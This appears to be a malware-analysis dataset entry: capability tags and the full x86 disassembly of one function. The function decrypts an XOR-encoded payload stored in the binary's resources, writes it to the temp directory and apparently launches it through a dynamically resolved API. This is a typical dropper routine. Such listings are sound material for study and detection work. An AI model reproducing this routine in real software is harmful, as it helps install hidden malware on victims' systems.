Function at 0x4353f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8d8
push 0x40bf2c
push 0x40bf3c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x44], eax
push 0x40bf4c
push 0x40bf5c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
push 0x40bf6c
push 0x40bf7c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
push 0xa
push 0x31b
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [ebp - 0x44]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x30]
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 4]
add ecx, 4
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x7c]
sub edx, 4
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x64]
shl edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
push eax
call fcn.0040e730
add esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x28], edx
push 0
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x84]
push eax
call fcn.00434df0
add esp, 0x14
push 0xa
push 0x145
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [ebp - 0x30]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
sub eax, 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
jmp 0x435537
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x28]
jae 0x435579
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x10]
movsx eax, byte [edx]
xor eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov byte [ecx], al
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x40]
jne 0x435577
mov dword [ebp - 0x10], 0
jmp 0x43552e
mov ecx, dword [ebp - 0x28]
shr ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.0040e770
add esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov byte [ebp - 0x58], 0
xor ecx, ecx
mov dword [ebp - 0x57], ecx
mov dword [ebp - 0x53], ecx
mov byte [ebp - 0x4f], cl
push 0xa
push 0
mov edx, dword [ebp - 0x24]
push edx
call fcn.0040e3a0
add esp, 0xc
mov dword [ebp - 0x18], 0
jmp 0x4355c7
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x20]
jge 0x43562e
mov edx, 1
imul eax, edx, 0
mov ecx, 1
imul edx, ecx, 0
mov ecx, dword [ebp - 4]
mov al, byte [ecx + eax]
mov byte [ebp + edx - 0x58], al
mov ecx, 1
shl ecx, 0
mov edx, 1
shl edx, 0
mov eax, dword [ebp - 4]
mov cl, byte [eax + ecx]
mov byte [ebp + edx - 0x58], cl
lea edx, [ebp - 0x60]
push edx
push 0x40bf8c
lea eax, [ebp - 0x58]
push eax
call fcn.0040e570
add esp, 0xc
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
mov dl, byte [ebp - 0x60]
mov byte [ecx], dl
mov eax, dword [ebp - 4]
add eax, 2
mov dword [ebp - 4], eax
jmp 0x4355be
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x68]
push edx
call fcn.0040ecf0
add esp, 4
lea eax, [ebp - 0x8d8]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
lea eax, [ebp - 0x8d8]
push eax
call fcn.0040e430
add esp, 0xc
push 4
push 0x40bf90
lea ecx, [ebp - 0x8d8]
push ecx
call fcn.0040e430
add esp, 0xc
push 0x40bf98
lea edx, [ebp - 0x8d8]
push edx
call fcn.0040ecd0
add esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4356db
mov dword [ebp - 0x1c], 0
jmp 0x4356ae
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x20]
jge 0x4356cf
mov edx, dword [ebp - 0x2c]
push edx
push 1
push 1
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x1c]
push eax
call fcn.0040f390
add esp, 0x10
jmp 0x4356a5
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.0040f650
add esp, 4
mov dword [ebp - 0xd8], 0
push 0x40
push 0
lea edx, [ebp - 0xd4]
push edx
call fcn.0040e3a0
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0xd8]
push eax
call fcn.0040e3a0
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x94]
push ecx
call fcn.0040e3a0
add esp, 0xc
mov dword [ebp - 0xd8], 0x44
push 0x40bf9c
push 0x40bfac
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0xd8]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x8d8]
push ecx
call dword [ebp - 0x70]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10